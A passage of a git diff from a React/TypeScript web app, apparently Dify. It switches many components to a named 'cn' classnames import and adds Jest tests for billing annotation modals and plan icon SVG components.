 import Badge, { BadgeState } from '@/app/components/base/badge/index'
 import { useInstalledPluginList } from '@/service/use-plugins'
 type Option = {
diff --git a/web/app/components/base/tag-input/index.tsx b/web/app/components/base/tag-input/index.tsx
index 415afc7549..d3d43a9c52 100644
--- a/web/app/components/base/tag-input/index.tsx
+++ b/web/app/components/base/tag-input/index.tsx
@@ -3,7 +3,7 @@ import type { ChangeEvent, FC, KeyboardEvent } from 'react'
 import { useTranslation } from 'react-i18next'
 import AutosizeInput from 'react-18-input-autosize'
 import { RiAddLine, RiCloseLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useToastContext } from '@/app/components/base/toast'
 
 type TagInputProps = {
diff --git a/web/app/components/base/tag-management/filter.tsx b/web/app/components/base/tag-management/filter.tsx
index 36be042160..5f8ab11dda 100644
--- a/web/app/components/base/tag-management/filter.tsx
+++ b/web/app/components/base/tag-management/filter.tsx
@@ -4,7 +4,7 @@ import { useTranslation } from 'react-i18next'
 import { useDebounceFn, useMount } from 'ahooks'
 import { RiArrowDownSLine } from '@remixicon/react'
 import { useStore as useTagStore } from './store'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
diff --git a/web/app/components/base/tag-management/selector.tsx b/web/app/components/base/tag-management/selector.tsx
index bb1eb98642..150c06688f 100644
--- a/web/app/components/base/tag-management/selector.tsx
+++ b/web/app/components/base/tag-management/selector.tsx
@@ -1,7 +1,7 @@
 import type { FC } from 'react'
 import { useCallback, useMemo } from 'react'
 import { useStore as useTagStore } from './store'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import CustomPopover from '@/app/components/base/popover'
 import type { Tag } from '@/app/components/base/tag-management/constant'
 import { fetchTagList } from '@/service/tag'
diff --git a/web/app/components/base/tag-management/tag-item-editor.tsx b/web/app/components/base/tag-management/tag-item-editor.tsx
index 0fdfc5079a..a9b7efa737 100644
--- a/web/app/components/base/tag-management/tag-item-editor.tsx
+++ b/web/app/components/base/tag-management/tag-item-editor.tsx
@@ -9,7 +9,7 @@ import { useContext } from 'use-context-selector'
 import { useTranslation } from 'react-i18next'
 import { useStore as useTagStore } from './store'
 import Confirm from '@/app/components/base/confirm'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { Tag } from '@/app/components/base/tag-management/constant'
 import { ToastContext } from '@/app/components/base/toast'
 import Tooltip from '@/app/components/base/tooltip'
diff --git a/web/app/components/base/tag-management/tag-remove-modal.tsx b/web/app/components/base/tag-management/tag-remove-modal.tsx
index 85f1831ac1..a41dd98cf3 100644
--- a/web/app/components/base/tag-management/tag-remove-modal.tsx
+++ b/web/app/components/base/tag-management/tag-remove-modal.tsx
@@ -2,7 +2,7 @@
 
 import { useTranslation } from 'react-i18next'
 import { RiCloseLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Button from '@/app/components/base/button'
 import Modal from '@/app/components/base/modal'
 import { AlertTriangle } from '@/app/components/base/icons/src/vender/solid/alertsAndFeedback'
diff --git a/web/app/components/base/tag/index.tsx b/web/app/components/base/tag/index.tsx
index 1d24e2c825..f85abe372e 100644
--- a/web/app/components/base/tag/index.tsx
+++ b/web/app/components/base/tag/index.tsx
@@ -1,5 +1,5 @@
 import React from 'react'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type ITagProps = {
   children: string | React.ReactNode
@@ -31,7 +31,7 @@ const COLOR_MAP = {
 export default function Tag({ children, color = 'green', className = '', bordered = false, hideBg = false }: ITagProps) {
   return (
     <div className={
-      classNames('inline-flex shrink-0 items-center rounded-md px-2.5 py-px text-xs leading-5',
+      cn('inline-flex shrink-0 items-center rounded-md px-2.5 py-px text-xs leading-5',
         COLOR_MAP[color] ? `${COLOR_MAP[color].text} ${COLOR_MAP[color].bg}` : '',
         bordered ? 'border-[1px]' : '',
         hideBg ? 'bg-transparent' : '',
diff --git a/web/app/components/base/textarea/index.tsx b/web/app/components/base/textarea/index.tsx
index 609f1ad51d..31a183c6c7 100644
--- a/web/app/components/base/textarea/index.tsx
+++ b/web/app/components/base/textarea/index.tsx
@@ -1,7 +1,7 @@
 import type { CSSProperties } from 'react'
 import React from 'react'
 import { type VariantProps, cva } from 'class-variance-authority'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const textareaVariants = cva(
   '',
diff --git a/web/app/components/base/theme-switcher.tsx b/web/app/components/base/theme-switcher.tsx
index 902d064a66..29eabfb4aa 100644
--- a/web/app/components/base/theme-switcher.tsx
+++ b/web/app/components/base/theme-switcher.tsx
@@ -5,7 +5,7 @@ import {
   RiSunLine,
 } from '@remixicon/react'
 import { useTheme } from 'next-themes'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type Theme = 'light' | 'dark' | 'system'
 
diff --git a/web/app/components/base/timezone-label/index.tsx b/web/app/components/base/timezone-label/index.tsx
index b151ceb9b8..2904555e5b 100644
--- a/web/app/components/base/timezone-label/index.tsx
+++ b/web/app/components/base/timezone-label/index.tsx
@@ -1,6 +1,6 @@
 import React, { useMemo } from 'react'
 import { convertTimezoneToOffsetStr } from '@/app/components/base/date-and-time-picker/utils/dayjs'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type TimezoneLabelProps = {
   /** IANA timezone identifier (e.g., 'Asia/Shanghai', 'America/New_York') */
diff --git a/web/app/components/base/toast/index.tsx b/web/app/components/base/toast/index.tsx
index eb13fddda8..e0e282ac50 100644
--- a/web/app/components/base/toast/index.tsx
+++ b/web/app/components/base/toast/index.tsx
@@ -11,7 +11,7 @@ import {
 } from '@remixicon/react'
 import { createContext, useContext } from 'use-context-selector'
 import ActionButton from '@/app/components/base/action-button'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { noop } from 'lodash-es'
 
 export type IToastProps = {
diff --git a/web/app/components/base/tooltip/index.tsx b/web/app/components/base/tooltip/index.tsx
index 46680c8f5b..6df7b5c80c 100644
--- a/web/app/components/base/tooltip/index.tsx
+++ b/web/app/components/base/tooltip/index.tsx
@@ -4,7 +4,7 @@ import React, { useEffect, useRef, useState } from 'react'
 import { useBoolean } from 'ahooks'
 import type { OffsetOptions, Placement } from '@floating-ui/react'
 import { RiQuestionLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { PortalToFollowElem, PortalToFollowElemContent, PortalToFollowElemTrigger } from '@/app/components/base/portal-to-follow-elem'
 import { tooltipManager } from './TooltipManager'
 
diff --git a/web/app/components/base/voice-input/index.tsx b/web/app/components/base/voice-input/index.tsx
index 6587a61217..2498467384 100644
--- a/web/app/components/base/voice-input/index.tsx
+++ b/web/app/components/base/voice-input/index.tsx
@@ -9,7 +9,7 @@ import Recorder from 'js-audio-recorder'
 import { useRafInterval } from 'ahooks'
 import { convertToMp3 } from './utils'
 import s from './index.module.css'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { StopCircle } from '@/app/components/base/icons/src/vender/solid/mediaAndDevices'
 import { audioToText } from '@/service/share'
 
diff --git a/web/app/components/billing/annotation-full/index.spec.tsx b/web/app/components/billing/annotation-full/index.spec.tsx
new file mode 100644
index 0000000000..e95900777c
--- /dev/null
+++ b/web/app/components/billing/annotation-full/index.spec.tsx
@@ -0,0 +1,59 @@
+import { render, screen } from '@testing-library/react'
+import AnnotationFull from './index'
+
+jest.mock('./usage', () => ({
+  __esModule: true,
+  default: (props: { className?: string }) => {
+    return (
+      <div data-testid='usage-component' data-classname={props.className ?? ''}>
+        usage
+      </div>
+    )
+  },
+}))
+
+jest.mock('../upgrade-btn', () => ({
+  __esModule: true,
+  default: (props: { loc?: string }) => {
+    return (
+      <button type='button' data-testid='upgrade-btn'>
+        {props.loc}
+      </button>
+    )
+  },
+}))
+
+describe('AnnotationFull', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Rendering marketing copy with action button
+  describe('Rendering', () => {
+    it('should render tips when rendered', () => {
+      // Act
+      render(<AnnotationFull />)
+
+      // Assert
+      expect(screen.getByText('billing.annotatedResponse.fullTipLine1')).toBeInTheDocument()
+      expect(screen.getByText('billing.annotatedResponse.fullTipLine2')).toBeInTheDocument()
+    })
+
+    it('should render upgrade button when rendered', () => {
+      // Act
+      render(<AnnotationFull />)
+
+      // Assert
+      expect(screen.getByTestId('upgrade-btn')).toBeInTheDocument()
+    })
+
+    it('should render Usage component when rendered', () => {
+      // Act
+      render(<AnnotationFull />)
+
+      // Assert
+      const usageComponent = screen.getByTestId('usage-component')
+      expect(usageComponent).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/billing/annotation-full/index.tsx b/web/app/components/billing/annotation-full/index.tsx
index 88ed5f1716..9aee529c8c 100644
--- a/web/app/components/billing/annotation-full/index.tsx
+++ b/web/app/components/billing/annotation-full/index.tsx
@@ -5,7 +5,7 @@ import { useTranslation } from 'react-i18next'
 import UpgradeBtn from '../upgrade-btn'
 import Usage from './usage'
 import s from './style.module.css'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import GridMask from '@/app/components/base/grid-mask'
 
 const AnnotationFull: FC = () => {
diff --git a/web/app/components/billing/annotation-full/modal.spec.tsx b/web/app/components/billing/annotation-full/modal.spec.tsx
new file mode 100644
index 0000000000..f898402218
--- /dev/null
+++ b/web/app/components/billing/annotation-full/modal.spec.tsx
@@ -0,0 +1,110 @@
+import { fireEvent, render, screen } from '@testing-library/react'
+import AnnotationFullModal from './modal'
+
+jest.mock('./usage', () => ({
+  __esModule: true,
+  default: (props: { className?: string }) => {
+    return (
+      <div data-testid='usage-component' data-classname={props.className ?? ''}>
+        usage
+      </div>
+    )
+  },
+}))
+
+let mockUpgradeBtnProps: { loc?: string } | null = null
+jest.mock('../upgrade-btn', () => ({
+  __esModule: true,
+  default: (props: { loc?: string }) => {
+    mockUpgradeBtnProps = props
+    return (
+      <button type='button' data-testid='upgrade-btn'>
+        {props.loc}
+      </button>
+    )
+  },
+}))
+
+type ModalSnapshot = {
+  isShow: boolean
+  closable?: boolean
+  className?: string
+}
+let mockModalProps: ModalSnapshot | null = null
+jest.mock('../../base/modal', () => ({
+  __esModule: true,
+  default: ({ isShow, children, onClose, closable, className }: { isShow: boolean; children: React.ReactNode; onClose: () => void; closable?: boolean; className?: string }) => {
+    mockModalProps = {
+      isShow,
+      closable,
+      className,
+    }
+    if (!isShow)
+      return null
+    return (
+      <div data-testid='annotation-full-modal' data-classname={className ?? ''}>
+        {closable && (
+          <button type='button' data-testid='mock-modal-close' onClick={onClose}>
+            close
+          </button>
+        )}
+        {children}
+      </div>
+    )
+  },
+}))
+
+describe('AnnotationFullModal', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockUpgradeBtnProps = null
+    mockModalProps = null
+  })
+
+  // Rendering marketing copy inside modal
+  describe('Rendering', () => {
+    it('should display main info when visible', () => {
+      // Act
+      render(<AnnotationFullModal show onHide={jest.fn()} />)
+
+      // Assert
+      expect(screen.getByText('billing.annotatedResponse.fullTipLine1')).toBeInTheDocument()
+      expect(screen.getByText('billing.annotatedResponse.fullTipLine2')).toBeInTheDocument()
+      expect(screen.getByTestId('usage-component')).toHaveAttribute('data-classname', 'mt-4')
+      expect(screen.getByTestId('upgrade-btn')).toHaveTextContent('annotation-create')
+      expect(mockUpgradeBtnProps?.loc).toBe('annotation-create')
+      expect(mockModalProps).toEqual(expect.objectContaining({
+        isShow: true,
+        closable: true,
+        className: '!p-0',
+      }))
+    })
+  })
+
+  // Controlling modal visibility
+  describe('Visibility', () => {
+    it('should not render content when hidden', () => {
+      // Act
+      const { container } = render(<AnnotationFullModal show={false} onHide={jest.fn()} />)
+
+      // Assert
+      expect(container).toBeEmptyDOMElement()
+      expect(mockModalProps).toEqual(expect.objectContaining({ isShow: false }))
+    })
+  })
+
+  // Handling close interactions
+  describe('Close handling', () => {
+    it('should trigger onHide when close control is clicked', () => {
+      // Arrange
+      const onHide = jest.fn()
+
+      // Act
+      render(<AnnotationFullModal show onHide={onHide} />)
+      fireEvent.click(screen.getByTestId('mock-modal-close'))
+
+      // Assert
+      expect(onHide).toHaveBeenCalledTimes(1)
+    })
+  })
+})
diff --git a/web/app/components/billing/annotation-full/modal.tsx b/web/app/components/billing/annotation-full/modal.tsx
index 324a4dcc36..a5b04c67b6 100644
--- a/web/app/components/billing/annotation-full/modal.tsx
+++ b/web/app/components/billing/annotation-full/modal.tsx
@@ -6,7 +6,7 @@ import UpgradeBtn from '../upgrade-btn'
 import Modal from '../../base/modal'
 import Usage from './usage'
 import s from './style.module.css'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import GridMask from '@/app/components/base/grid-mask'
 
 type Props = {
diff --git a/web/app/components/billing/apps-full-in-dialog/index.tsx b/web/app/components/billing/apps-full-in-dialog/index.tsx
index fda3213713..8d06d2a534 100644
--- a/web/app/components/billing/apps-full-in-dialog/index.tsx
+++ b/web/app/components/billing/apps-full-in-dialog/index.tsx
@@ -10,7 +10,7 @@ import { useProviderContext } from '@/context/provider-context'
 import { useAppContext } from '@/context/app-context'
 import { Plan } from '@/app/components/billing/type'
 import s from './style.module.css'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const LOW = 50
 const MIDDLE = 80
diff --git a/web/app/components/billing/header-billing-btn/index.tsx b/web/app/components/billing/header-billing-btn/index.tsx
index f34fa0bce4..aad4d2b9e9 100644
--- a/web/app/components/billing/header-billing-btn/index.tsx
+++ b/web/app/components/billing/header-billing-btn/index.tsx
@@ -3,7 +3,7 @@ import type { FC } from 'react'
 import React from 'react'
 import UpgradeBtn from '../upgrade-btn'
 import { Plan } from '../type'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useProviderContext } from '@/context/provider-context'
 
 type Props = {
diff --git a/web/app/components/billing/plan-upgrade-modal/index.spec.tsx b/web/app/components/billing/plan-upgrade-modal/index.spec.tsx
index 324043d439..cd1be7cc6c 100644
--- a/web/app/components/billing/plan-upgrade-modal/index.spec.tsx
+++ b/web/app/components/billing/plan-upgrade-modal/index.spec.tsx
@@ -5,12 +5,6 @@ import PlanUpgradeModal from './index'
 
 const mockSetShowPricingModal = jest.fn()
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 jest.mock('@/app/components/base/modal', () => {
   const MockModal = ({ isShow, children }: { isShow: boolean; children: React.ReactNode }) => (
     isShow ? <div data-testid="plan-upgrade-modal">{children}</div> : null
diff --git a/web/app/components/billing/plan/assets/enterprise.spec.tsx b/web/app/components/billing/plan/assets/enterprise.spec.tsx
new file mode 100644
index 0000000000..831370f5d9
--- /dev/null
+++ b/web/app/components/billing/plan/assets/enterprise.spec.tsx
@@ -0,0 +1,249 @@
+import { render } from '@testing-library/react'
+import Enterprise from './enterprise'
+
+describe('Enterprise Icon Component', () => {
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      const { container } = render(<Enterprise />)
+      expect(container.firstChild).toBeInTheDocument()
+    })
+
+    it('should render an SVG element', () => {
+      const { container } = render(<Enterprise />)
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+    })
+
+    it('should have correct SVG attributes', () => {
+      const { container } = render(<Enterprise />)
+      const svg = container.querySelector('svg')
+
+      expect(svg).toHaveAttribute('xmlns', 'http://www.w3.org/2000/svg')
+      expect(svg).toHaveAttribute('width', '32')
+      expect(svg).toHaveAttribute('height', '32')
+      expect(svg).toHaveAttribute('viewBox', '0 0 32 32')
+      expect(svg).toHaveAttribute('fill', 'none')
+    })
+
+    it('should render only path elements', () => {
+      const { container } = render(<Enterprise />)
+      const paths = container.querySelectorAll('path')
+      const rects = container.querySelectorAll('rect')
+
+      // Enterprise icon uses only path elements, no rects
+      expect(paths.length).toBeGreaterThan(0)
+      expect(rects).toHaveLength(0)
+    })
+
+    it('should render elements with correct fill colors', () => {
+      const { container } = render(<Enterprise />)
+      const blueElements = container.querySelectorAll('[fill="var(--color-saas-dify-blue-inverted)"]')
+      const quaternaryElements = container.querySelectorAll('[fill="var(--color-text-quaternary)"]')
+
+      expect(blueElements.length).toBeGreaterThan(0)
+      expect(quaternaryElements.length).toBeGreaterThan(0)
+    })
+  })
+
+  describe('Component Behavior', () => {
+    it('should render consistently across multiple renders', () => {
+      const { container: container1 } = render(<Enterprise />)
+      const { container: container2 } = render(<Enterprise />)
+
+      expect(container1.innerHTML).toBe(container2.innerHTML)
+    })
+
+    it('should maintain stable output without memoization', () => {
+      const { container, rerender } = render(<Enterprise />)
+      const firstRender = container.innerHTML
+
+      rerender(<Enterprise />)
+      const secondRender = container.innerHTML
+
+      expect(firstRender).toBe(secondRender)
+    })
+
+    it('should be a functional component', () => {
+      expect(typeof Enterprise).toBe('function')
+    })
+  })
+
+  describe('Accessibility', () => {
+    it('should render as a decorative image', () => {
+      const { container } = render(<Enterprise />)
+      const svg = container.querySelector('svg')
+
+      expect(svg).toBeInTheDocument()
+    })
+
+    it('should be usable in accessible contexts', () => {
+      const { container } = render(
+        <div role="img" aria-label="Enterprise plan">
+          <Enterprise />
+        </div>,
+      )
+
+      const wrapper = container.querySelector('[role="img"]')
+      expect(wrapper).toBeInTheDocument()
+      expect(wrapper).toHaveAttribute('aria-label', 'Enterprise plan')
+    })
+
+    it('should support custom wrapper accessibility', () => {
+      const { container } = render(
+        <button aria-label="Select Enterprise plan">
+          <Enterprise />
+        </button>,
+      )
+
+      const button = container.querySelector('button')
+      expect(button).toHaveAttribute('aria-label', 'Select Enterprise plan')
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle multiple instances without conflicts', () => {
+      const { container } = render(
+        <>
+          <Enterprise />
+          <Enterprise />
+          <Enterprise />
+        </>,
+      )
+
+      const svgs = container.querySelectorAll('svg')
+      expect(svgs).toHaveLength(3)
+    })
+
+    it('should maintain structure when wrapped in other elements', () => {
+      const { container } = render(
+        <div>
+          <span>
+            <Enterprise />
+          </span>
+        </div>,
+      )
+
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+      expect(svg?.getAttribute('width')).toBe('32')
+    })
+
+    it('should render correctly in grid layout', () => {
+      const { container } = render(
+        <div style={{ display: 'grid' }}>
+          <Enterprise />
+        </div>,
+      )
+
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+    })
+
+    it('should render correctly in flex layout', () => {
+      const { container } = render(
+        <div style={{ display: 'flex' }}>
+          <Enterprise />
+        </div>,
+      )
+
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+    })
+  })
+
+  describe('CSS Variables', () => {
+    it('should use CSS custom properties for colors', () => {
+      const { container } = render(<Enterprise />)
+      const elementsWithCSSVars = container.querySelectorAll('[fill*="var("]')
+
+      expect(elementsWithCSSVars.length).toBeGreaterThan(0)
+    })
+
+    it('should have opacity attributes on quaternary path elements', () => {
+      const { container } = render(<Enterprise />)
+      const quaternaryPaths = container.querySelectorAll('path[fill="var(--color-text-quaternary)"]')
+
+      quaternaryPaths.forEach((path) => {
+        expect(path).toHaveAttribute('opacity', '0.18')
+      })
+    })
+
+    it('should not have opacity on blue inverted path elements', () => {
+      const { container } = render(<Enterprise />)
+      const bluePaths = container.querySelectorAll('path[fill="var(--color-saas-dify-blue-inverted)"]')
+
+      bluePaths.forEach((path) => {
+        expect(path).not.toHaveAttribute('opacity')
+      })
+    })
+
+    it('should use correct CSS variable names', () => {
+      const { container } = render(<Enterprise />)
+      const paths = container.querySelectorAll('path')
+
+      paths.forEach((path) => {
+        const fill = path.getAttribute('fill')
+        if (fill?.includes('var('))
+          expect(fill).toMatch(/var\(--(color-saas-dify-blue-inverted|color-text-quaternary)\)/)
+      })
+    })
+  })
+
+  describe('SVG Structure', () => {
+    it('should have correct path element structure', () => {
+      const { container } = render(<Enterprise />)
+      const paths = container.querySelectorAll('path')
+
+      paths.forEach((path) => {
+        expect(path).toHaveAttribute('d')
+        expect(path).toHaveAttribute('fill')
+      })
+    })
+
+    it('should have valid path data', () => {
+      const { container } = render(<Enterprise />)
+      const paths = container.querySelectorAll('path')
+
+      paths.forEach((path) => {
+        const d = path.getAttribute('d')
+        expect(d).toBeTruthy()
+        expect(d?.length).toBeGreaterThan(0)
+      })
+    })
+
+    it('should maintain proper element count', () => {
+      const { container } = render(<Enterprise />)
+      const svg = container.querySelector('svg')
+
+      expect(svg?.childNodes.length).toBeGreaterThan(0)
+    })
+  })
+
+  describe('Export', () => {
+    it('should be the default export', () => {
+      expect(Enterprise).toBeDefined()
+      expect(typeof Enterprise).toBe('function')
+    })
+
+    it('should return valid JSX', () => {
+      const result = Enterprise()
+      expect(result).toBeTruthy()
+      expect(result.type).toBe('svg')
+    })
+  })
+
+  describe('Performance', () => {
+    it('should render efficiently for multiple instances', () => {
+      const { container } = render(
+        <div>
+          {Array.from({ length: 10 }).map((_, i) => (
+            <Enterprise key={i} />
+          ))}
+        </div>,
+      )
+
+      const svgs = container.querySelectorAll('svg')
+      expect(svgs).toHaveLength(10)
+    })
+  })
+})
diff --git a/web/app/components/billing/plan/assets/index.spec.tsx b/web/app/components/billing/plan/assets/index.spec.tsx
new file mode 100644
index 0000000000..b9b8763fb0
--- /dev/null
+++ b/web/app/components/billing/plan/assets/index.spec.tsx
@@ -0,0 +1,312 @@
+import { render } from '@testing-library/react'
+import { Enterprise, Professional, Sandbox, Team } from './index'
+
+// Import real components for comparison
+import SandboxDirect from './sandbox'
+import ProfessionalDirect from './professional'
+import TeamDirect from './team'
+import EnterpriseDirect from './enterprise'
+
+describe('Billing Plan Assets - Integration Tests', () => {
+  describe('Exports', () => {
+    it('should export Sandbox component', () => {
+      expect(Sandbox).toBeDefined()
+      // Sandbox is wrapped with React.memo, so it's an object
+      expect(typeof Sandbox).toMatch(/function|object/)
+    })
+
+    it('should export Professional component', () => {
+      expect(Professional).toBeDefined()
+      expect(typeof Professional).toBe('function')
+    })
+
+    it('should export Team component', () => {
+      expect(Team).toBeDefined()
+      expect(typeof Team).toBe('function')
+    })
+
+    it('should export Enterprise component', () => {
+      expect(Enterprise).toBeDefined()
+      expect(typeof Enterprise).toBe('function')
+    })
+
+    it('should export all four components', () => {
+      const exports = { Sandbox, Professional, Team, Enterprise }
+      expect(Object.keys(exports)).toHaveLength(4)
+    })
+  })
+
+  describe('Export Integrity', () => {
+    it('should export the correct Sandbox component', () => {
+      expect(Sandbox).toBe(SandboxDirect)
+    })
+
+    it('should export the correct Professional component', () => {
+      expect(Professional).toBe(ProfessionalDirect)
+    })
+
+    it('should export the correct Team component', () => {
+      expect(Team).toBe(TeamDirect)
+    })
+
+    it('should export the correct Enterprise component', () => {
+      expect(Enterprise).toBe(EnterpriseDirect)
+    })
+  })
+
+  describe('Rendering Integration', () => {
+    it('should render all components without conflicts', () => {
+      const { container } = render(
+        <div>
+          <Sandbox />
+          <Professional />
+          <Team />
+          <Enterprise />
+        </div>,
+      )
+
+      const svgs = container.querySelectorAll('svg')
+      expect(svgs).toHaveLength(4)
+    })
+
+    it('should render Sandbox component correctly', () => {
+      const { container } = render(<Sandbox />)
+      const svg = container.querySelector('svg')
+
+      expect(svg).toBeInTheDocument()
+      expect(svg).toHaveAttribute('width', '32')
+      expect(svg).toHaveAttribute('height', '32')
+    })
+
+    it('should render Professional component correctly', () => {
+      const { container } = render(<Professional />)
+      const svg = container.querySelector('svg')
+
+      expect(svg).toBeInTheDocument()
+      expect(svg).toHaveAttribute('width', '32')
+      expect(svg).toHaveAttribute('height', '32')
+    })
+
+    it('should render Team component correctly', () => {
+      const { container } = render(<Team />)
+      const svg = container.querySelector('svg')
+
+      expect(svg).toBeInTheDocument()
+      expect(svg).toHaveAttribute('width', '32')
+      expect(svg).toHaveAttribute('height', '32')
+    })
+
+    it('should render Enterprise component correctly', () => {
+      const { container } = render(<Enterprise />)
+      const svg = container.querySelector('svg')
+
+      expect(svg).toBeInTheDocument()
+      expect(svg).toHaveAttribute('width', '32')
+      expect(svg).toHaveAttribute('height', '32')
+    })
+  })
+
+  describe('Visual Consistency', () => {
+    it('should maintain consistent SVG dimensions across all components', () => {
+      const components = [
+        <Sandbox key="sandbox" />,
+        <Professional key="professional" />,
+        <Team key="team" />,
+        <Enterprise key="enterprise" />,
+      ]
+
+      components.forEach((component) => {
+        const { container } = render(component)
+        const svg = container.querySelector('svg')
+
+        expect(svg).toHaveAttribute('width', '32')
+        expect(svg).toHaveAttribute('height', '32')
+        expect(svg).toHaveAttribute('viewBox', '0 0 32 32')
+      })
+    })
+
+    it('should use consistent color variables across all components', () => {
+      const components = [Sandbox, Professional, Team, Enterprise]
+
+      components.forEach((Component) => {
+        const { container } = render(<Component />)
+        const elementsWithBlue = container.querySelectorAll('[fill="var(--color-saas-dify-blue-inverted)"]')
+        const elementsWithQuaternary = container.querySelectorAll('[fill="var(--color-text-quaternary)"]')
+
+        expect(elementsWithBlue.length).toBeGreaterThan(0)
+        expect(elementsWithQuaternary.length).toBeGreaterThan(0)
+      })
+    })
+  })
+
+  describe('Component Independence', () => {
+    it('should render components independently without side effects', () => {
+      const { container: container1 } = render(<Sandbox />)
+      const svg1 = container1.querySelector('svg')
+
+      const { container: container2 } = render(<Professional />)
+      const svg2 = container2.querySelector('svg')
+
+      // Components should not affect each other
+      expect(svg1).toBeInTheDocument()
+      expect(svg2).toBeInTheDocument()
+      expect(svg1).not.toBe(svg2)
+    })
+
+    it('should allow selective imports', () => {
+      // Verify that importing only one component works
+      const { container } = render(<Team />)
+      const svg = container.querySelector('svg')
+
+      expect(svg).toBeInTheDocument()
+    })
+  })
+
+  describe('Bundle Export Pattern', () => {
+    it('should follow barrel export pattern correctly', () => {
+      // All exports should be available from the index
+      expect(Sandbox).toBeDefined()
+      expect(Professional).toBeDefined()
+      expect(Team).toBeDefined()
+      expect(Enterprise).toBeDefined()
+    })
+
+    it('should maintain tree-shaking compatibility', () => {
+      // Each export should be independently usable
+      const components = [Sandbox, Professional, Team, Enterprise]
+
+      components.forEach((Component) => {
+        // Component can be function or object (React.memo wraps it)
+        expect(['function', 'object']).toContain(typeof Component)
+        const { container } = render(<Component />)
+        expect(container.querySelector('svg')).toBeInTheDocument()
+      })
+    })
+  })
+
+  describe('Real-world Usage Patterns', () => {
+    it('should support rendering in a plan selector', () => {
+      const { container } = render(
+        <div className="plan-selector">
+          <button className="plan-option">
+            <Sandbox />
+            <span>Sandbox</span>
+          </button>
+          <button className="plan-option">
+            <Professional />
+            <span>Professional</span>
+          </button>
+          <button className="plan-option">
+            <Team />
+            <span>Team</span>
+          </button>
+          <button className="plan-option">
+            <Enterprise />
+            <span>Enterprise</span>
+          </button>
+        </div>,
+      )
+
+      const svgs = container.querySelectorAll('svg')
+      const buttons = container.querySelectorAll('button')
+
+      expect(svgs).toHaveLength(4)
+      expect(buttons).toHaveLength(4)
+    })
+
+    it('should support rendering in a comparison table', () => {
+      const { container } = render(
+        <table>
+          <thead>
+            <tr>
+              <th><Sandbox /></th>
+              <th><Professional /></th>
+              <th><Team /></th>
+              <th><Enterprise /></th>
+            </tr>
+          </thead>
+        </table>,
+      )
+
+      const svgs = container.querySelectorAll('svg')
+      expect(svgs).toHaveLength(4)
+    })
+
+    it('should support conditional rendering', () => {
+      const renderPlan = (planType: 'sandbox' | 'professional' | 'team' | 'enterprise') => (
+        <div>
+          {planType === 'sandbox' && <Sandbox />}
+          {planType === 'professional' && <Professional />}
+          {planType === 'team' && <Team />}
+          {planType === 'enterprise' && <Enterprise />}
+        </div>
+      )
+
+      const { container } = render(renderPlan('team'))
+
+      const svgs = container.querySelectorAll('svg')
+      expect(svgs).toHaveLength(1)
+    })
+
+    it('should support dynamic rendering from array', () => {
+      const plans = [
+        { id: 'sandbox', Icon: Sandbox },
+        { id: 'professional', Icon: Professional },
+        { id: 'team', Icon: Team },
+        { id: 'enterprise', Icon: Enterprise },
+      ]
+
+      const { container } = render(
+        <div>
+          {plans.map(({ id, Icon }) => (
+            <div key={id}>
+              <Icon />
+            </div>
+          ))}
+        </div>,
+      )
+
+      const svgs = container.querySelectorAll('svg')
+      expect(svgs).toHaveLength(4)
+    })
+  })
+
+  describe('Performance', () => {
+    it('should handle rapid re-renders efficiently', () => {
+      const { container, rerender } = render(
+        <div>
+          <Sandbox />
+          <Professional />
+        </div>,
+      )
+
+      // Simulate multiple re-renders
+      for (let i = 0; i < 5; i++) {
+        rerender(
+          <div>
+            <Team />
+            <Enterprise />
+          </div>,
+        )
+      }
+
+      const svgs = container.querySelectorAll('svg')
+      expect(svgs).toHaveLength(2)
+    })
+
+    it('should handle large lists efficiently', () => {
+      const { container } = render(
+        <div>
+          {Array.from({ length: 20 }).map((_, i) => {
+            const components = [Sandbox, Professional, Team, Enterprise]
+            const Component = components[i % 4]
+            return <Component key={i} />
+          })}
+        </div>,
+      )
+
+      const svgs = container.querySelectorAll('svg')
+      expect(svgs).toHaveLength(20)
+    })
+  })
+})
diff --git a/web/app/components/billing/plan/assets/professional.spec.tsx b/web/app/components/billing/plan/assets/professional.spec.tsx
new file mode 100644
index 0000000000..0fb84e2870
--- /dev/null
+++ b/web/app/components/billing/plan/assets/professional.spec.tsx
@@ -0,0 +1,172 @@
+import { render } from '@testing-library/react'
+import Professional from './professional'
+
+describe('Professional Icon Component', () => {
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      const { container } = render(<Professional />)
+      expect(container.firstChild).toBeInTheDocument()
+    })
+
+    it('should render an SVG element', () => {
+      const { container } = render(<Professional />)
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+    })
+
